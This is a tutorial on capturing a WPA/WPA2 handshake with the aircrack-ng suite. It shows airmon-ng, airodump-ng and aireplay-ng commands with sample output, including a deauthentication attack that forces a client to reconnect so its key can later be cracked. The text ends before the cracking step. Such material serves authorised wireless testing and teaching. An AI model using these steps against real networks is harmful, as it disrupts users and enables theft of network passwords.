How to capture WPA/WPA 2 handshake
In this tutorial, here is what was used:
MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
BSSID (MAC address of access point): 00:14:6C:7E:40:80
ESSID (Wireless network name): teddy
Access point channel: 9
Wireless interface: ath0
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
The objective is to capture the WPA/WPA2 authentication handshake pre-shared key.
This can be done either actively or passively. “Actively” means you will accelerate the process by deauthenticating an existing wireless client. “Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don’t actually need injection capability and thus the Windows version of aircrack-ng can be used.
Here are the basic steps we will be going through:
Start the wireless interface in monitor mode on the specific AP channel
Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
Use aireplay-ng to deauthenticate the wireless client
Run aircrack-ng to crack the pre-shared key using the authentication handshake
Step 1 – Start the wireless interface in monitor mode
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step.
The exact procedure for enabling monitor mode varies depending on the driver you are using. To determine the driver (and the correct procedure to follow), run the following command:
On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:
Interface Chipset Driver rausb0 Ralink RT73 rt73 wlan0 Broadcom b43 - [phy0] wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0)
The presence of a [phy0] tag at the end of the driver name is an indicator for mac80211, so the Broadcom card is using a mac80211 driver. Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won’t work with v0.9.1. Both entries of the Atheros card show “madwifi-ng” as the driver – follow the madwifi-ng-specific steps to set up the Atheros card. Finally, the Ralink shows neither of these indicators, so it is using an ieee80211 driver – see the generic instructions for setting it up.
Step 1a – Setting up madwifi-ng
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
Step 1b – Setting up mac80211 drivers
Unlike madwifi-ng, you do not need to remove the wlan0 interface when setting up mac80211 drivers. Instead, use the following command to set up your card in monitor mode on channel 9:
airmon-ng start wlan0 9
The system responds:
Interface Chipset Driver wlan0 Broadcom b43 - [phy0] (monitor mode enabled on mon0)
Notice that airmon-ng enabled monitor-mode on mon0. So, the correct interface name to use in later parts of the tutorial is mon0. Wlan0 is still in regular (managed) mode, and can be used as usual, provided that the AP that wlan0 is connected to is on the same channel as the AP you are attacking, and you are not performing any channel-hopping.
To confirm successful setup, run “iwconfig”. The following output should appear:
lo no wireless extensions.
eth0 no wireless extensions. wmaster0 no wireless extensions. wlan0 IEEE 802.11bg ESSID:"" Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated Tx-Power=0 dBm Retry min limit:7 RTS thr:off Fragment thr=2352 B Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 mon0 IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm Retry min limit:7 RTS thr:off Fragment thr=2352 B Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Here, mon0 is seen as being in monitor mode, on channel 9 (2.452GHz). Unlike madwifi-ng, the monitor interface has no Access Point field at all. Also notice that wlan0 is still present, and in managed mode – this is normal. Because both interfaces share a common radio, they must always be tuned to the same channel – changing the channel on one interface also changes channel on the other one.
Step 1c – Setting up other drivers
For other (ieee80211-based) drivers, simply run the following command to enable monitor mode (replace rausb0 with your interface name):
airmon-ng start rausb0 9
The system responds:
Interface Chipset Driver rausb0 Ralink rt73 (monitor mode enabled)
At this point, the interface should be ready to use.
Step 2 – Start airodump-ng to collect authentication handshake
The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
-c 9 is the channel for the wireless network
-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
-w psk is the file name prefix for the file which will contain the IVs.
ath0 is the interface name.
Important: Do NOT use the “-
-ivs” option. You must capture the full packets.
Here what it looks like if a wireless client is connected to the network:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.
Here it is with no connected wireless clients:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes
To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for “ WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.
Use Wireshark and apply a filter of “eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.
Step 3 – Use aireplay-ng to deauthenticate the wireless client
This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.
This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.
Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
ath0 is the interface name
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
With luck this causes the client to reauthenticate and yield the 4-way handshake.
The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.